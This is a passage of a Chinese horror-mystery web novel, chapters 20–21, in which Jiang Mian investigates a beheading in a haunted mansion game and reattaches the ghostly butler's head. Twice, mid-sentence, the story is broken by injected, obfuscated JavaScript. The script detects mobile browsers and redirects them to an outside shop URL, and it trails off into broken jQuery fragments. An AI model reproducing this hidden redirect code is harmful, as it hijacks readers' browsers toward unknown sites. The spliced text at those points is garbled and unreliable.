姜眠总觉得有哪里很奇怪,但具体又说不上来。 他上了三楼,目标明确地走向齐雪的房间。 进门之后,姜眠没急着搜查,而是先缓缓地环顾了一圈。 床、衣柜、梳妆台……都是些很平常的家具,外加一些装饰品,床头上面那幅挂画还被溅了血。 姜眠又走到床边,绕着床走了一圈,左侧靠近床头的位置附近有大量滴落状血点——他觉得应该是凶手杀完人,斧头滴上去的血,所以他判断凶手大概率是站在这个位置行凶的。 姜眠又去看掉在床边的斧头,连着喂了两个人的血,斧身上附着皮肉碎片,以及干涸的血痂,有股血腥与铁锈混杂在一起的味道。 斧柄很长,刃也宽,不是常用的那种。 凶手是来参加宴会的,不可能将这斧头堂而皇之地带进来,所以肯定是就地取材——说明那个人很熟悉房子的布局,知道东西都放在哪里。 这么一想,柯睿的嫌疑的确很大呢。 但姜眠就是觉得不是他。 姜眠放下斧头,假如他是凶手,杀完人后应该做什么呢? 清理现场。 擦拭掉一些痕迹,比如地板上滴落的血,触碰家具时不慎留下的指痕,等等…… 这么想着,姜眠蹲下身仔细看了一圈,除了床边那片滴落的血点,一些他们慌乱间踩出来的杂乱脚印,离床不远处的地板上还有些少量泥灰…… 除此之外,这是个堪称干净的现场,没有留下任何可以用来指认凶手的痕迹。 凶手还砍下了齐雪的头,断口并不齐整,像是人在处于狂躁状态下完成的——如果是那种冷静的变态杀手,一定能做得更好,因为他们会慢条斯理地享受杀人的过程,比如那件著名的分尸案,凶手就残忍地将人分割成了整齐的2000多块…… 一个狂躁的人,是做不到完美清理掉所有痕迹的,地板上的泥灰又是怎么回事? 姜眠闭上眼睛,朦朦胧胧的场景在他脑海里逐渐成形—— 深夜,万籁俱寂。 一道人影立在床边,疯狂地挥舞那柄锋利的斧头,鲜血四溅。 结束之后,ta立在床边,身侧斧头不断往下滴血。 姜眠密长的眼睫轻轻抖动,场景逐步清晰完善—— 人影站了一会儿,须臾回过头去。 顺着ta视野,另一道身影就站在不远处,静默无声地望着…… 姜眠猛地睁开眼睛,扭头对一直默不作声的李丛说:“这个房间里,当时可能还有第二个人在场!” 20.无首(20) 凶手杀人时,第二个人就在一旁,事后帮助凶手处理了现场,所以才这么干净利落。 李丛眼睛瞪大:“什么?” 姜眠却不再说话了,又拿起那把斧头,对着尸体说:“抱歉,借用一下。” 说完就往房间外面走。 李丛摸不着头脑,快步跟上他:“你去哪里?” 姜眠目不斜视地往楼下跑:“我有一些问题想问问管家。” “啊?”李丛脚步一顿,这问问题还问上瘾了,关键是管家会回答吗?真不会一个不高兴给他两刀? “你知道管家在哪?” 姜眠:“嗯。” “好吧。”李丛有点怵,犹豫了下,厚着脸皮说:“那……我们分头行动,我继续去二楼搜,你去问,一会儿再汇合?” 姜眠并不介意如何分工:“好啊。” 他答应得这么爽快,李丛心里反而有些不是滋味,但人不为己天诛地灭,冒险的事儿就让胆大的人去做吧。 姜眠拖着斧头下了楼,循着印象在一楼找到了管家的房间,直接敲门。 咚咚—— 他叩了两下。 “谁?”门内传来阴沉沉的声音。 “管先生,是我。”姜眠礼貌地说,“我可以问您一些问题吗?” 管家似乎冷笑了声:“你胆子真够大的。” 姜眠微笑,就当他是在夸自己:“谢谢。” 门开了,管家立在门缝里,只露出半张苍白的脸。 姜眠往他身后看了看,屋子里乌漆嘛黑,这是不拉窗帘也不开灯吗? 另外,他耸了耸鼻子,好浓的泥土气息…… “什么事?”管家阴森地问。 “哦。”姜眠两手捧着斧头,托到管家面前给他看:“您见过这把斧头吗?” 管家垂下眸子一瞥,竟然真回答了。 “见过。” 姜眠再接再厉,追问:“是用来做什么的?” “花园里以前有棵树,主人不喜欢,这是用来砍树的斧头。” “哦……”姜眠所有所思,“那平时是放在哪里呢?” 管家轻笑了声,掀起眼皮,漆黑的眸子直勾勾地望着姜眠:“你想知道?” 姜眠警惕地往后退了一步,见管家笑容诡异,觉得还不够,又退了一大步。 “嗯。”他隔着三米远,坚定地对管家点头。 “厨房冰柜后面。”管家又用那种看小蛋糕的贪婪眼神盯着他,意犹未尽地舔了舔嘴唇:“我有时候也会用来处理一些……食材。” 听到食材两字,姜眠汗毛都立起来了,立刻拔腿就跑。 身后传来管家的声音:“但有的美食,需要整个吞入才够美味……” 啊啊啊! 姜眠一手拎斧头,只能单手捂住耳朵,埋头就往楼上跑。 尽管他确信白天的管家不会拿他怎么样,不然也不会晚上才过来扒拉门,但被人当小蛋糕惦记的感觉实在太过可怕…… 姜眠先把斧头还到三楼,本想去找李丛汇合,但是跑来跑去实在太累了,加上饥饿他有点体力不支,便打算先原地休息一下。 他直接往地上一躺,脑子里塞满了乱七八糟的问题,到底谁是凶手?那颗头又去哪儿了呢?管家房间为什么那么黑?又为什么会有那么重的泥土味…… 旋即他又想起,刚才太着急,忘记问管家都有谁知道斧头的位置了。 他懊恼地抿了抿嘴,躺得更平整了,宛如一条放弃挣扎的咸鱼。 正巧李丛打房间里出来,冷不丁发现地上躺着个人,他吓得一抖,仔细一看是姜眠。 他“草”了声,心想这小子这次不会真挂了吧?大步跑上前去,先熟练地探了探鼻息,有气儿。 又是虚惊一场。 这个点快天黑了,天黑之后整栋房子都会变得很危险,他抓住姜眠两个脚踝,想把姜眠拖回他的男仆房间,让他睡个够。 姜眠正入神地想事情呢,忽然感觉自己在移动,睁开眼睛,天花板一直后退,他果然在动。 微微抬头,就见李丛背对着他,身体前倾肩膀紧绷,像头勤恳的拉犁老水牛。 “你好。”他礼貌地出了声,“很感谢,但……我可以自己走的。” “我靠!”李丛停步,回头看他:“你醒了?” “其实……”姜眠小声,“我没有在睡觉哦。” 没睡觉? 李丛更无语了:“那你躺地上做什么?” 姜眠理所当然:“累了,休息。” 李丛:“……” 他简直服了,能不能禁止随地大小躺啊?! 他绷着脸,转移话题:“跟管家问到什么了?” 姜眠言简意赅:“斧头是用来砍树的,放在冰箱后面。” 李丛略微沉思:“这么说来,嫌疑最大的还是柯睿。” “第一,你说房间里还有第二个人,符合条件的目前只能是柯睿和宋佳妮,第二……”李丛语速很快,“你不是说,看到过有人进厨房,其中就包括了柯睿吗?或许你并没有记错,那天不仅于泓进过厨房,柯睿也去了。” 他越想越有可能,情绪一激动,握拳“啪”的打在手心:“而且最重要的,他和齐雪以前是夫妻,对这里肯定比我们熟悉!” 李丛说的也有道理,姜眠皱起眉头,可是……他就是觉得不太对劲。 这时候有个房间传来争吵声,两人对视一眼,朝那边走去。 “不可能!这双鞋不是我的!”柯睿情绪激动地否认。 焦雨晴冷静地说:“但是鞋码和你脚上那双一样,只有你穿这个码的鞋。” “谁知道会不会有人陷害我?”柯睿脸色铁青,眼珠因慌乱而快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127848|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速转动:“而且我们都去过现场,那么多血,肯定是那时候沾上的!” 焦雨晴并不退让:“你的解释非常苍白无力,那么我姑且认为是狡辩。” “怎么了?”李丛问。 辛文浩镇定地说:“我们在柯睿房间里,找到了一双藏起来的鞋子,鞋底上有血迹。” 李丛眉峰高高挑起,心想他们怎么没发现,看来还是不够仔细。 “我们在三楼也发现了一些蛛丝马迹,认为当晚可能有两个人在现场。”李丛说。 至于是哪两个人,大家心里都早有猜想。 辛文浩神色一凛,稍作思考后,他深吸口气,用那种无可奈何的语气对柯睿说:“这样吧,给你们一晚上时间,如果明早还拿不出证明你们清白的证据,那么我们就会开启投凶环节。” 至于谁会被投出局,显而易见。 柯睿胸膛剧烈起伏,不可思议地看向众人:“你们早就打定了主意,要找个替死鬼是吧?” 辛文浩冷下脸来,显得尤其严肃:“大家都不想死,现在你们嫌疑最大,如果再拖下去,死的人只会更多。” 焦雨晴紧随其后:“我同意。” 李丛:“额……” 柯睿环视众人,愤怒得胸膛极速起伏。 “好好好……”他一连说了三个好,恶狠狠地瞪了眼辛文浩,又转向其他人:“等着吧,就算是死,我也要拉一个垫背!” 柯睿气势汹汹地走了,余下的人面面相觑。 李丛犹豫两秒:“真要这样吗?” 焦雨晴疲倦地摇了摇头:“目前他嫌疑最大,而且搜证也很不积极,所以只能先这样了。” 李丛叹气,确实。 等其他人离开,辛文浩深深地打量着焦雨晴,意味深长道:“这招挺高明的。” 焦雨晴面容冷肃:“彼此彼此。” 辛文浩笑了笑:“难道你想死在这里?” 假若柯睿明天真的给出证据,那么他们就排除掉一人。假若没有,那也不是非投票不可,还有转圜的余地。 或者柯睿今晚直接死了…… 无论怎么算,他们都不亏。 姜眠不清楚他们那些弯弯绕绕,他困得眼睛都不太睁得开了。 回到房间,他反锁了门,熟练地把桌子推过来抵在门后,觉得还不够,又把屋里所有能挪动的东西都搬了过来,床头柜、小皮箱……门后堆得小山似的。 做完这些,他稍微放了些心,爬上床用被子把自己裹成一张卷饼。 他很快睡着,寂静深夜里,门缝底下缓缓现出道阴影。 门先是咚咚响了两声,沉寂片刻后,堵门的桌子开始轻晃。 咔嚓,咔嚓,咔嚓,咔嚓…… 诡异的声音在静夜里分外清晰,木屑扑簌簌掉落,门板在愈发密集的啃噬声中剧烈地晃动了起来。 21.无首(21) 变了形的门板吱嘎作响,随着晃动幅度越来越大,门后堆叠的东西不断掉落,噼里啪啦滚了一地。 姜眠在连续不断的响声中睁开眼睛,醒了,但又没完全醒。 他眸子半阖,游魂般迷迷糊糊地从床上爬起来。 脚下不知踢到了什么东西,咕噜噜地滚到一边,他也浑不在意,沉默地走到门后。 砰砰—— 门板又被猛力地撞击了两下,甚至连带着门框都跟着震动,墙皮稀里哗啦往下落。 姜眠不耐地皱了皱眉,只觉得很吵,想要快点解决。于是挪开碍手碍脚的桌子,拧开门锁,将门一把拉开。 门开得突然,攀附在门板底下的东西没了依靠,软体动物般匍匐在地面上。 那东西没想到他会主动开门,扒拉门板的动作都顿了一顿。 空气里一股淡淡的土腥味儿,姜眠皱了皱眉,半阖的眸子视野有限,但目之所见空空如也。 没人,他偏了偏头,于是他关门。 关门的瞬间,脚底下那团东西忽然拉长,想要挤进门里,却不料刚进了个头就被卡在了门缝里。 第一下没关上,姜眠又皱眉,这门什么时候这么难关了? 于是他两手抵着门板,卯足力气使劲一关,砰! 门框又震了震,巨响掩盖住了轻微的断裂声,有什么东西,在这一刻轻轻地碎了。 姜眠拖着沉重的双腿,游魂般奔向自己的软床,脚下似乎又踢到什么,咕噜咕噜滚了好远。 他恍若未觉,上床、掀被、躺平,丝滑三连。 被他踢到床底下的某物:“……” 一觉睡到天亮。 姜眠伸了个懒腰,一睁开眼睛,就对上一张惨白幽怨的脸。 啊…… 他哈欠打到一半,僵住,一定是醒来的方式不对。 他赶紧又闭上眼睛,缓了好几秒后,才又小心翼翼地先睁开一只眼睛。 怎么还在?! 不是做梦,可管家为什么会在他房间?还把头靠在他身上?!虽然昨天管家回答了他的问题,他很感激,但他们的关系还没到这份上吧?! 姜眠紧张地抿了抿唇,磕磕巴巴道:“早、早上好。” 管家的眼神更幽怨了,一言不发地死盯着他。 姜眠被盯得头皮发麻,一个鲤鱼打挺坐起身。 谁知管家竟骨碌骨碌地从他身上滚了下去,他这才发现,不是管家在他房间里,具体来说,是管家的——头。 难道昨晚在他睡着后,发生了什么事?比如梦游的他夜袭管家,还把人家头给拧下来了。 姜眠的小脸被吓得跟管家一样惨白,双手合十连连道歉:“对不起对不起,我梦游……还、还能接回去吗?” 管家还是不说话,不说话就是默认,姜眠就当他同意了。 他迅速地下床,又诚恳地道歉:“抱歉,冒犯了。” 话落抓着管家头发,将头拎了起来。 姜眠打开门,门外的李丛抬着手,正准备敲门,见他一脸心急火燎,奇怪地问:“咋了,尿急?” 没时间解释了,姜眠越过他:“借过。” “嘿!”李丛不明所以地摸了摸后脑勺,转身望着他大步离去的背影:“急着去投……”” 后半句话卡在了嗓子眼,因为他看见姜眠手上拎着个了不得的玩意儿,椭圆形还带头发丝儿的,分明是颗人脑袋! 这时其他人也从房里陆续出来,看到姜眠拎着颗人头,脸上不约而同地露出了惊诧不已的神情。 李丛反应过来,在这个美丽的清晨发出了今天的第一声爆/草,随即迅速跟了上去。 姜眠用最快的速度下了楼,跑进餐厅,就见穿着燕尾服的管家正在准备早餐。今天的管家别具一格,脖子以上空空如也,人都摸不着头脑了,但还是精心地搭配了领结,也不知他怎么戴上去的。 跟过来的众人看到这慕,只觉心惊肉跳。 但管家的头怎么会在姜眠手里? 姜眠小跑到管家面前,两手抱着他脑袋,不由分说地安在了管家脖子上。 他松开手,脑袋没放稳,又一骨碌掉了下来。 姜眠眼疾手快地接住,又锲而不舍地给他安了回去。他手捧着管家的脸,无视他越来越阴气四溢的眼神,确认稳定了不会再掉落后,才放开手。 姜眠松了口气:“幸好还能接上。” 管家阴森森地盯视着他,在领结遮住的地方,皮肉蠕动着迅速愈合,但不知中途出了什么问题,他脑袋微微往旁边一歪。 姜眠立刻给他扶正,但一松手,就又恢复原样,连着试了几次皆是如此。 “额……” 为了掩饰尴尬,姜眠理正管家的领结,抿了抿唇,努力地夸了一句:“颜色很搭。” 管家:“……” 众人:“……” 李丛在一旁大气不敢出,他甚至都看见管家拿刀了,原本以为那刀下一秒就要扎姜眠脖子上,但不知为何又收了回去。 这不科学,这小子背着他们偷偷充钱了?! 这顿早餐在奇异的氛围中开始,管家像落枕了一样歪着脑袋,森冷的目光一刻也没从姜眠身上离开。 今天只有五份早餐,意味着又有人死了,而唯一没到场的,只有柯睿。 昨晚发生了什么,大家心里都很清楚,柯睿大概率是找线索时发生了意外。 餐厅里安静了好一会儿,每个人看起来都心事重重,甚至连胃口都没有——当然,依旧是除了姜眠。 辛文浩叹了口气,话音里带了些遗憾与懊悔:“昨晚我们不该那么逼他的,主要是事情发展到现在,大家心里都着急,想早一点结束……但现在说这个也来不及了。” 他又叹了口气,“游戏没有结束,看来柯睿确实不是凶手,我们错怪他了。” 他话音落下,就见宋佳妮神经质地笑了起来,她仍旧发不出声音,皮肤青灰泛白,双眸死死地盯着辛文浩,身体颤抖的幅度越来越大。 辛文浩借着推眼镜的动作,避开她目光,继续说:“今天已经是第四天了,但我们现在还是一片混乱,大家一起想一想,是不是有什么线索被我们遗漏了?” 李丛疲倦地搓了搓脸:“死了四个人了,西装哥、于泓、赵影……还有柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139120|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睿。” “西装哥是当着我们所有人的面被管家杀的,因为他浪费食物,于泓是画家杀的,赵影……赵影还不清楚,至于柯睿……”李丛脑子有点混乱,“所以死亡契机是什么呢?” “我们首先怀疑于泓,但他很快就死了,接下来我们又怀疑柯睿,然后柯睿也死了……所以被怀疑的人就会死吗?”他低声喃喃,随即又摇头:“不对,赵影明明被我们排除了嫌疑,但她还是死了,而且死相非常奇怪……这里有第三只鬼!” 昨天他的思路被突然发狂的宋佳妮打断了,就没有说下去,后来他也去了赵影房间,发现那幅画在她房间里,这位或许就是她的死因。 李丛猛地抬起头来,双手按着桌面,肯定道:“杀死赵影的鬼,跟那副画有关!” 餐厅里安静了几秒,焦雨晴抿唇,缓缓抬眸看向姜眠:“有件事我之前一直没说,是关于赵影的。” “赵影死前那一晚,画出现在了她的房间里,她很害怕,就求我让她留在我的房间,我答应了。”焦雨晴眼神锐利,“临睡前她告诉我,半年前齐雪让她帮忙联系找一个模特,而那位模特就是男仆的妈妈。半年前她的银行卡之所以会入账那么大一笔钱,就是齐雪给她的酬劳。” 李丛表情微变。 “你的妈妈,是半年前失踪的吧?”焦雨晴注视着姜眠,“所以你来这里,是为了找你的妈妈。” 姜眠还是一副毫无心机的模样,大大方方地点了头:“是的。” “半年前妈妈说要出门一趟,然后就再也没回来。”他补充,“我找了她很久都没有线索,直到一个多月前在她的书里发现了画展的入场券,我想可能会与之相关,正好这边在招佣人,我就趁机来到了这里。” 焦雨晴:“那你找到她了吗?” 姜眠微微一顿,迎着众人神色各异的目光,摇头。 辛文浩眼神晦涩,但却是对着焦雨晴发难:“这么重要的线索,你之前为什么不说?” “因为那时候我们都一致认为柯睿嫌疑更大,男仆的线索更像是无关的误导线索,为了防止大家被带偏我就没有说。”焦雨晴眸中泄出几分懊恼,但很快又恢复冷静:“现在可以确认画中人是姜眠的妈妈,那么赵影的死……我姑且认为是她的角色本身自带NPC仇恨,这么一来,男仆的妈妈大概率已经死了。” 因为赵影的牵线搭桥,男仆妈妈成为齐雪的模特,被她画进了画里。但不知道什么原因她死去了,所以没能回家,成为了这座房子里诡异管家和断头画家之外的……第三只鬼。 李丛一直沉默,犹豫了很久,还是开了口:“我也有件事想说。” 他垂头看着桌面,沉声说:“我们会那么怀疑柯睿,是因为‘二人作案论’,而宋佳妮和柯睿是最有可能共同作案的人,但是……”他终于抬头看向姜眠,“最先提出有两个人作案的人,是你。” “你为什么会知道,杀人的时候现场有两个人呢?”李丛问姜眠。 这也是他一直不明白的点,姜眠到底为什么会认为现场有第二个人,除非他就是那两人之一? 是他故放烟雾弹,还是不小心聊爆了?